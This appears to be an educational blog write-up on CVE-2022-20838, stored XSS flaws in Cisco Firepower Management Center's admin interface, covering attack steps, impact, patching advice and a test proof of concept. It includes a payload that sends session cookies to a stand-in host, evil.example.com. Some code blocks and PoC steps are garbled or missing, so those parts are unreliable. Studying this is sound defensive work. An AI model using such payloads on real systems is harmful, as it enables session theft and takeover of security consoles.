CVE-2022-20838 refers to a group of multiple stored Cross-Site Scripting (XSS) vulnerabilities found in Cisco Firepower Management Center (FMC) software. If you're responsible for managing Cisco security appliances or you work in network security, this is a big deal you should know about. These flaws allow an attacker to use the very management web interface meant to keep your network safe to execute malicious scripts, steal data, or even temporarily disrupt the admin dashboard.
In this article, I’m going to break down what CVE-2022-20838 is, how you can exploit (and defend against) it, and why it matters. I’ll use simple language, include some sample payloads, and guide you to relevant official resources. The intent is to give you a real-world view that goes beyond the dry advisories.
What is CVE-2022-20838?
This vulnerability lives in Cisco Firepower Management Center (FMC)’s web-based admin console. It stems from one main issue: user-supplied input fields in the interface are not properly filtered or sanitized. In other words, the software trusts the administrator (or an attacker who has credentials), allowing input that should be rejected or cleaned up.
Because of this lack of validation, an authenticated user—either a real admin, a compromised account, or even a low-privileged user—can enter data containing JavaScript or other browser-readable scripts into certain fields. Later, whenever someone else views these fields in the web dashboard, the browser executes the malicious code as if it were part of the official web app.
Affected Software
- Cisco FMC versions prior to fixed releases (see Cisco advisory)
The Attack Surface
FMC’s web interface contains various forms and data fields, such as device names, descriptions, group identifiers, policy names/notes, etc. Many of these fields accept user-supplied text that is later displayed to other users or admins on different screens.
Obtain Authenticated Access
The attacker must be logged in. This can be a legitimate user, a phished credential, or a low-privileged account.
`html
alert('XSS vulnerable!');
Script is Stored
The FMC backend saves this text as part of the device description/data.
Trigger the Payload
Anytime another legitimate user views the record—maybe on the device summary page—the browser executes the malicious code in the context of the FMC interface.
Impact
- The attacker might pop up alerts, steal cookies, perform actions via the victim’s session (CSRF), or deface the interface.
- In heavy cases, the script could force the browser to crash or hang, temporarily disrupting monitoring capability.
Here’s a simple one that would steal a session cookie and send it to the attacker’s server
<img src="x" onerror="fetch('https://evil.example.com/steal?cookie='+document.cookie)">
With more creativity, an attacker could build a whole phishing or pivot attack—right inside your management dashboard.
Why This Matters
- Stored XSS is especially dangerous in management planes: it lives on past one request and is shown later to *other* users, including high-privilege admins.
- Cisco FMC runs critical firewall and security policy infrastructure. A simple JS snippet could let an attacker pivot deeper, alter rules, or cause misconfiguration.
- Casual use of admin accounts makes phishing or privilege escalation easier; many environments have multiple admins sharing the same dashboard.
Defensive Mitigation
Cisco’s Official Fix:
Cisco has released updates; you should patch to the latest version. See the official advisory and download links.
Sanitize All Inputs.
Train your devs/admins to consider every field as a threat surface—even “description” boxes.
Proof of Concept
Here’s a simplified test you can try (on an isolated, patched test system). Please DO NOT run this on your production FMC!
`html
alert(document.domain);
Save changes.
4. Log in as another (admin) user and navigate to view that device/group.
If a popup alert appears with the domain shown, you’re vulnerable!
Original References
- Cisco Official CVE-2022-20838 Security Advisory
- NIST NVD Entry
Conclusion
CVE-2022-20838 is a classic case of how web management interfaces—even on security appliances—can become the weakest link if input is not carefully checked. The fix is simple: patch and sanitize. But the threat is real, especially as these systems are attractive targets for attackers.
Always treat any field in any admin dashboard as a potential XSS vector—especially when it can persist and be viewed by others. Don’t wait—update your Cisco FMC today!
*This write-up is original and for educational purposes. Always get proper authorization before security testing.*
Timeline
Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/18/2022 18:14:00 UTC